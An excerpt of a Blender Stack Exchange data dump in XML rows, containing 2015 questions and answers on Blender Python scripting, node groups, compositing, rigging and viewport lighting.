  <row Id="23956" PostTypeId="2" ParentId="23952" CreationDate="2015-01-29T08:19:01.297" Score="5" Body="&lt;p&gt;You can print the current settings to a console with a simple script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def round_vec3(vec): return tuple(map(lambda c: round(c, 3), vec))&#xA;&#xA;solid_lights = bpy.context.user_preferences.system.solid_lights&#xA;&#xA;for i, light in enumerate(solid_lights):&#xA;    print()&#xA;    print(&quot;Light %i:&quot; % i)&#xA;    print(&quot;  Use:&quot;, light.use)&#xA;    print(&quot;  Direction:&quot;, round_vec3(light.direction))&#xA;    print(&quot;  Diffuse Color:&quot;, round_vec3(light.diffuse_color))&#xA;    print(&quot;  Specular Color:&quot;, round_vec3(light.specular_color))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the settings for solid lights in &lt;code&gt;startup.blend&lt;/code&gt;, here's a script to reset your current settings to the defaults:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;lights = [&#xA;    {&#xA;        'use': True,&#xA;        'direction': (-0.892, 0.3, 0.9),&#xA;        'diffuse_color': (0.8, 0.8, 0.8),&#xA;        'specular_color': (0.5, 0.5, 0.5)&#xA;    },&#xA;    {&#xA;        'use': True,&#xA;        'direction': (0.588, 0.46, 0.248),&#xA;        'diffuse_color': (0.498, 0.5, 0.6),&#xA;        'specular_color': (0.2, 0.2, 0.2)&#xA;    },&#xA;    {&#xA;        'use': True,&#xA;        'direction': (0.216, -0.392, -0.216),&#xA;        'diffuse_color': (0.798, 0.838, 1.0),&#xA;        'specular_color': (0.066, 0.0, 0.0)&#xA;    }&#xA;]&#xA;&#xA;solid_lights = bpy.context.user_preferences.system.solid_lights&#xA;&#xA;for s, l in zip(solid_lights, lights):&#xA;    for k, v in l.items():&#xA;        setattr(s, k, v)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't want to deal with Python, just install this addon version of the script and click the &lt;em&gt;Reset Solid Lights&lt;/em&gt; button in the &lt;em&gt;User Preferences&lt;/em&gt; header (where the &lt;em&gt;Save settings&lt;/em&gt; button is) while you are on the &lt;em&gt;System&lt;/em&gt; tab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Reset Solid Lights&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 65, 0),&#xA;    &quot;location&quot;: &quot;User Preferences &amp;gt; System&quot;,&#xA;    &quot;description&quot;: &quot;Reset OpenGL Solid Lights to factory defaults&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;User Interface&quot;}&#xA;&#xA;import bpy&#xA;from bpy.types import Operator&#xA;&#xA;# OpenGL solid lights settings like in factory startup.blend&#xA;lights = [&#xA;    {&#xA;        'use': True,&#xA;        'direction': (-0.892, 0.3, 0.9),&#xA;        'diffuse_color': (0.8, 0.8, 0.8),&#xA;        'specular_color': (0.5, 0.5, 0.5)&#xA;    },&#xA;    {&#xA;        'use': True,&#xA;        'direction': (0.588, 0.46, 0.248),&#xA;        'diffuse_color': (0.498, 0.5, 0.6),&#xA;        'specular_color': (0.2, 0.2, 0.2)&#xA;    },&#xA;    {&#xA;        'use': True,&#xA;        'direction': (0.216, -0.392, -0.216),&#xA;        'diffuse_color': (0.798, 0.838, 1.0),&#xA;        'specular_color': (0.066, 0.0, 0.0)&#xA;    }&#xA;]&#xA;&#xA;class WM_OT_solid_lights_reset(Operator):&#xA;    __doc__ = bl_info[&quot;description&quot;]&#xA;    bl_label = bl_info[&quot;name&quot;]&#xA;    bl_idname = &quot;wm.solid_lights_reset&quot;&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        solid_lights = bpy.context.user_preferences.system.solid_lights&#xA;&#xA;        for s, l in zip(solid_lights, lights):&#xA;            for k, v in l.items():&#xA;                setattr(s, k, v)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# Add button to user pref header (conditionally)&#xA;def userpref_button(self, context):&#xA;    if context.user_preferences.active_section == 'SYSTEM':&#xA;        self.layout.operator(WM_OT_solid_lights_reset.bl_idname)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(WM_OT_solid_lights_reset)&#xA;    bpy.types.USERPREF_HT_header.append(userpref_button)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(WM_OT_solid_lights_reset)&#xA;    bpy.types.USERPREF_HT_header.remove(userpref_button)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-01-29T09:28:32.357" LastActivityDate="2015-01-29T09:28:32.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23957" PostTypeId="1" AcceptedAnswerId="23960" CreationDate="2015-01-29T08:41:05.543" Score="6" ViewCount="669" Body="&lt;p&gt;I have an addon which creates a panel with properties on Blender startup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class OBJECT_PT_runcamera(bpy.types.Panel):&#xA;    bl_label = &quot;Some Name&quot;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;render&quot;&#xA;&#xA;    def draw_header(self, context):&#xA;        layout = self.layout&#xA;        layout.label(text=&quot;&quot;, icon=&quot;MESH_GRID&quot;)&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        row1 = layout.row()&#xA;        row1.prop(context.scene, &quot;myCustomPropertysName&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, after the panel has been created, I want to change the row's &lt;code&gt;enabled&lt;/code&gt; value when user clicks some specific button -- ie, some properties (shown in rows) in the panel will be disabled/enabled by some function called from another property/button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried different ways to write the command but nothing worked.&lt;/p&gt;&#xA;" OwnerUserId="4928" LastEditorUserId="12" LastEditDate="2015-01-29T09:26:12.043" LastActivityDate="2015-01-29T09:26:12.043" Title="Modify panel's row after panel has been created" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23959" PostTypeId="1" CreationDate="2015-01-29T08:59:34.213" Score="1" ViewCount="384" Body="&lt;p&gt;I would like to build animations based on 2 scenarios that pull data into Blender from SQLite, MongoDB or MySQL database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One scenario where a bit of text data would become a simple text object would be a movie post credit roll animation. In this case, numerical data from an external file would control the size, radius or constraint controls of objects in the animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get information from an external file and use that to control properties (sometimes animated) of various objects?&lt;/p&gt;&#xA;" OwnerUserId="2279" LastEditorUserId="5426" LastEditDate="2016-12-19T20:12:08.007" LastActivityDate="2016-12-19T21:44:36.073" Title="How Can Data Sets Be Pulled From Database into Text Objects or As Parameters for Other Objects" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23960" PostTypeId="2" ParentId="23957" CreationDate="2015-01-29T09:07:56.650" Score="7" Body="&lt;pre&gt;&lt;code&gt;bpy.types.Scene.show_row = bpy.props.BoolProperty()&#xA;&#xA;row1.enabled = context.scene.show_row&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And your other function will just set the &lt;code&gt;show_row&lt;/code&gt; property. Thats it.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-29T09:07:56.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23961" PostTypeId="2" ParentId="23959" CreationDate="2015-01-29T09:39:13.137" Score="3" Body="&lt;p&gt;Your question comprises 3 different topics:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to query for data in a backend (SQLite or whatever)&lt;/li&gt;&#xA;&lt;li&gt;How to do that with Python (database drivers / libraries)&lt;/li&gt;&#xA;&lt;li&gt;How to create animations in Blender programmatically&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There's a brief introduction for the latter in the API docs - &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/info_quickstart.html#animation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Animation&lt;/a&gt; - and plenty of questions and threads here and on &lt;a href=&quot;http://blenderartists.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenderartists.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 1., please refer to the database system's documentation and help channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2., google and also read about &lt;a href=&quot;https://blender.stackexchange.com/questions/5287/using-3rd-party-python-modules&quot;&gt;using 3rd party Python modules in Blender&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-01-29T09:39:13.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23962" PostTypeId="1" AcceptedAnswerId="23992" CreationDate="2015-01-29T10:05:52.960" Score="3" ViewCount="2706" Body="&lt;p&gt;I love the matcap mode in Blender for modelling, because it allows me to get a good idea of the shape of the model I'm working on as the 'lighting' is fixed to the camera and changes as I move it around (similar to the default lighting mode in Maya). However, when I want to view textures, I either have to set the shadeless flag (no lighting), or place lights in the scene, which is both annoying, and static, so it's still quite hard to appreciate the effect the texture is having on the perceived shape of the model. What I would love to have, is a way to have either default lighting that is fixed to the camera, or some way to blend the texture with a white matcap (or any matcap) to simulate that default lighting. Ideally this would be great as a default feature in Blender, but I'll take a workaround for now :)&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2015-01-30T05:39:59.153" Title="How can I blend a matcap material with a texture" Tags="&lt;texturing&gt;&lt;3d-view&gt;&lt;camera&gt;&lt;light&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23963" PostTypeId="2" ParentId="23962" CreationDate="2015-01-29T11:26:49.780" Score="0" Body="&lt;p&gt;As a temporary solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;strong&gt;parenting a spot&lt;/strong&gt; to your camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode select the spot, then ctrl+p. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should give the effect you're looking for with textured view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use this solution, you could use the outliner view to disable that lamp from rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drawback is that this only give the effect you need when you're actually looking through the camera.&lt;/p&gt;&#xA;" OwnerUserId="11298" LastActivityDate="2015-01-29T11:26:49.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23964" PostTypeId="1" CreationDate="2015-01-29T11:32:07.773" Score="2" ViewCount="257" Body="&lt;p&gt;I have a 2D image broken up into separate layers (upper arm,forearm,hand etc.), and have positioned the bones. When I test them in Pose Mode several things go wrong. As I rotate  some limbs get fatter, while others will stick along one edge, and the limb distorts badly. Nothing can move the edge.&#xA;I have only parented each limb to each bone, should I also have e.g. parented foot to lower leg and lower leg to upper leg and that to body?&lt;/p&gt;&#xA;" OwnerUserId="11299" LastEditorUserId="599" LastEditDate="2015-01-29T11:40:44.100" LastActivityDate="2015-01-29T11:40:44.100" Title="Distorting a 2D image with a rig?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23965" PostTypeId="1" CreationDate="2015-01-29T13:47:53.953" Score="0" ViewCount="572" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uk7Bi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix the deformation, I tried to change the weight but it didn’t work &lt;/p&gt;&#xA;" OwnerUserId="11300" LastEditorDisplayName="user1853" LastEditDate="2015-01-29T14:22:24.987" LastActivityDate="2015-01-29T14:22:24.987" Title="How to fix the deformation when moving a robotic arm?" Tags="&lt;rigging&gt;&lt;blender-internal-render-engine&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23966" PostTypeId="1" AcceptedAnswerId="23996" CreationDate="2015-01-29T14:14:03.697" Score="18" ViewCount="3852" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Tesseract&quot;&gt;Tesseract&lt;/a&gt;, an interesting analog of a &lt;a href=&quot;http://en.wikipedia.org/wiki/Hypercube&quot;&gt;hypercube&lt;/a&gt; type. How to animate it like &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File:8-cell.gif&quot;&gt;this&lt;/a&gt;&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-01-29T15:20:53.070" LastActivityDate="2015-12-17T00:51:30.800" Title="How to animate a tesseract" Tags="&lt;animation&gt;" AnswerCount="5" CommentCount="9" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23967" PostTypeId="1" CreationDate="2015-01-29T14:46:51.440" Score="0" ViewCount="51" Body="&lt;p&gt;I want to replicate the shape of this arcade cabinet (in green). I tried to do this by drawing vertices but this leaves me with a jagged edge rather than smooth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to do this? I also tried the bezier curve but then I cant do the straight bits. Maybe there is something I'm missing, any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sLHs9.png&quot; alt=&quot;Arcade Cabinet&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11304" LastActivityDate="2015-01-29T14:46:51.440" Title="Modeling odd shape" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-01-29T16:48:40.960" ContentLicense="CC BY-SA 3.0" />
  <row Id="23968" PostTypeId="2" ParentId="23966" CreationDate="2015-01-29T15:42:11.367" Score="3" Body="&lt;p&gt;A tesseract is a 4 dimensional object.  To get it to rotate in 4 dimensions you need to do 4 dimensional rotations, which is not really part of Blender as far as I understand.  However, you can probably accomplish this via the Python API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First read about 4 dimensional rotations here - &lt;a href=&quot;http://en.wikipedia.org/wiki/Rotations_in_4-dimensional_Euclidean_space&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Rotations_in_4-dimensional_Euclidean_space&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just learning the Python API now.  However, since it gives you access to mesh data, you should be able to use NumPy (&lt;a href=&quot;http://www.numpy.org&quot; rel=&quot;nofollow&quot;&gt;http://www.numpy.org&lt;/a&gt;), which is included with Blender's Python to easily implement the 4 dimensional rotations, extract the 3 dimensional projection and use that to form/modify mesh vertices.  Then you can skin or do whatever else gets the affect you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is just a small matter of programming. ;-)&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-29T15:42:11.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23969" PostTypeId="1" CreationDate="2015-01-29T16:00:15.337" Score="6" ViewCount="336" Body="&lt;p&gt;Maybe I am missing it but I can't find a compositor node that simply lets me switch between 2 images &lt;em&gt;including&lt;/em&gt; the alpha channel based on a factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simplified setup description:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a background image and two overlay title images, titleA and titleB, that have alpha channels.  I want to be able to overlay either titleA or titleB over the background according to a factor.  I.e. when the factor is 0 I want titleA overlayed, when the factor is 1 I want titleB overlayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is easy enough to use the Mix node to switch the non-alpha channels.  But I can't get it to switch the alpha channel.  It seems to be able to give me only either the alpha from titleA or titleB or some combo of the two.  Alpha Over doesn't seem to do this either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the simplest version of the setup I've tried.  I'm using a Value node to change the factor between 0 and 1.  Here it is with 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YmDd7.jpg&quot; alt=&quot;Factor 0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is with the factor 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5V6L8.jpg&quot; alt=&quot;Factor 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the alpha channel from titleA is being used instead of from titleB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the crux of the problem.  The Mix node outputs the alpha channel of only one of the inputs here.  It doesn't switch them like the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that in my real project I have a cascade of titles that I sequence using a Time node and Math(Greater Than) nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have a workaround for this where I create a parallel set of Mix nodes just for the alpha channels.  That works.  But as I need to do a much more elaborate version of this with time curves, etc., I don't really want to have to maintain duplicate networks for alpha channels.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastEditorUserId="9651" LastEditDate="2015-01-29T16:46:21.440" LastActivityDate="2015-01-29T18:02:19.247" Title="Does the compositor have a node that will let me switch between images containing alpha channels?" Tags="&lt;animation&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23970" PostTypeId="1" AcceptedAnswerId="23975" CreationDate="2015-01-29T16:24:25.240" Score="14" ViewCount="2531" Body="&lt;p&gt;How do I add an already created node group into a node tree?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that this works: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;group = node_tree.nodes.new(&quot;ShaderNodeGroup&quot;)&#xA;group.node_tree = other_group.node_tree&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it creates a copy of &lt;code&gt;other_group&lt;/code&gt; instead of just referencing it. So how would I go about just straight adding it to the node tree?&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="1224" LastEditDate="2015-01-30T00:10:13.370" LastActivityDate="2015-01-30T00:10:13.370" Title="How to add a group into a node tree with Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23971" PostTypeId="2" ParentId="23969" CreationDate="2015-01-29T16:27:05.110" Score="6" Body="&lt;p&gt;Here's what I came up with: Stripping the Alpha channel only to recombine it later using mix nodes. Changing the Value node does the switch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N0WzZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you group the nodes it becomes simpler to combine multiple instances;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/unsY0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/18B0A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-29T18:02:19.247" LastActivityDate="2015-01-29T18:02:19.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23973" PostTypeId="2" ParentId="23970" CreationDate="2015-01-29T17:16:07.623" Score="2" Body="&lt;p&gt;The only way I know is with operator with overwritten context. That means you will have to have a Node Editor window somewhere open:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context_copy = bpy.context.copy()&#xA;context_copy['area'] = next(area for area in bpy.context.screen.areas if area.type=='NODE_EDITOR')&#xA;bpy.ops.node.add_node(context_copy,&#xA;                      type=&quot;ShaderNodeGroup&quot;,&#xA;                      settings=[{&quot;name&quot;:&quot;node_tree&quot;, &quot;value&quot;:&quot;bpy.data.node_groups['GROUP']&quot;}])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-29T17:16:07.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23974" PostTypeId="1" AcceptedAnswerId="23976" CreationDate="2015-01-29T17:23:11.690" Score="4" ViewCount="760" Body="&lt;p&gt;I'm trying to get invoke_props_popup to work. But my code produces this error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Operator 'OBJECT_OT_keyframe_changer' does not have register enabled, incorrect invoke function&#xA;&#xA;Traceback &amp;lt;most recet call last):&#xA;    File &quot;(Script-path)&quot;, line 63, in &amp;lt;module&amp;gt; ...&#xA;&#xA;RuntimeError: Error: Operator 'OBJECT_OT_keyframe_changer' does not have register enabled, incorrect invoke function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Line 63 is bpy.ops.object.keyframe_changer('INVOKE_DEFAULT')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to find any documentation to help me with this. Why does it not run? Why does it give me an error?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is the code I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class KeyframeChangerOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Let's you change keyframe position&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.keyframe_changer&quot;&#xA;    bl_label = &quot;Keyframe changer&quot;&#xA;    my_float = bpy.props.FloatProperty(name=&quot;Keyframe position&quot;)&#xA;&#xA;&#xA;    def execute(self, context):&#xA;        set_keyframe_position(self.my_float)&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        return wm.invoke_props_popup(self, event)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(KeyframeChangerOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(KeyframeChangerOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.keyframe_changer('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-01-29T18:59:04.510" Title="How do I get invoke_props_popup to work?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;properties&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23975" PostTypeId="2" ParentId="23970" CreationDate="2015-01-29T18:44:44.577" Score="13" Body="&lt;p&gt;After adding the new node group node you can assign the &lt;code&gt;node_group&lt;/code&gt; data type to the &lt;code&gt;node_tree&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;group = node_tree.nodes.new(&quot;ShaderNodeGroup&quot;)&#xA;group.node_tree = bpy.data.node_groups['OldNodeGroupName']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-01-29T18:53:21.603" LastActivityDate="2015-01-29T18:53:21.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23976" PostTypeId="2" ParentId="23974" CreationDate="2015-01-29T18:59:04.510" Score="5" Body="&lt;p&gt;You simply forgot to set &lt;code&gt;bl_options&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def set_keyframe_position(flt):&#xA;    print (flt)&#xA;&#xA;class KeyframeChangerOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Let's you change keyframe position&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.keyframe_changer&quot;&#xA;    bl_label = &quot;Keyframe changer&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    my_float = bpy.props.FloatProperty(name=&quot;Keyframe position&quot;)&#xA;&#xA;    def invoke(self, context, event):&#xA;        return context.window_manager.invoke_props_popup(self, event)&#xA;&#xA;    def execute(self, context):&#xA;        set_keyframe_position(self.my_float)&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(KeyframeChangerOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(KeyframeChangerOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.keyframe_changer('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-01-29T18:59:04.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23977" PostTypeId="1" CreationDate="2015-01-29T19:11:59.910" Score="2" ViewCount="5116" Body="&lt;p&gt;I am trying to render my scene with my GPU (GTX 660ti) but it always fail with this error and crashes driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KSeJk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering blender's BMW benchmark scene works just fine, there must be something wrong with my scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;strong&gt;&lt;a href=&quot;https://www.dropbox.com/s/q0ua0cy4rzml337/snehulak.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/strong&gt; .&lt;/p&gt;&#xA;" OwnerUserId="11173" LastEditorUserId="2217" LastEditDate="2015-01-30T01:50:40.207" LastActivityDate="2015-01-30T01:50:40.207" Title="CUDA error: Launch exceeded timeout in cutCtxSynchronize()" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23978" PostTypeId="1" CreationDate="2015-01-29T19:36:33.933" Score="2" ViewCount="191" Body="&lt;p&gt;I have created 4 tracks for the decal but am unable to 'create plane track'&lt;br&gt;&#xA;Keeps showing me the error below &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pCftc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10979" LastEditorUserId="3710" LastEditDate="2015-01-29T19:51:31.350" LastActivityDate="2015-01-29T21:43:28.093" Title="Unable to &quot;Create Plane Track&quot;" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23980" PostTypeId="1" AcceptedAnswerId="23981" CreationDate="2015-01-29T21:00:57.650" Score="2" ViewCount="1898" Body="&lt;p&gt;What I want to have done is have an object follow the camera's rotation so that the camera is always seeing a specific face. Think of it this way: of any of you have played Minecraft, you may have noticed that the particles that are rendered in-game can never be viewed from the side. The rotate when you rotate, because they're two-dimensional and it wouldn't make a lot of sense to see them from their very depth-less side. So to speak, what I'm actually trying to do is a Minecraft themed scene. I'm trying to imitate those particles rendering within Blender. Any ideas?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-01-29T21:07:24.137" Title="How to get objects to follow camera rotation" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23981" PostTypeId="2" ParentId="23980" CreationDate="2015-01-29T21:07:24.137" Score="4" Body="&lt;p&gt;You could add a &quot;Track to&quot; constraint to your object. The target should be the camera, and the To/Up values depend on what's appropriate for your model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a5wmx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-01-29T21:07:24.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
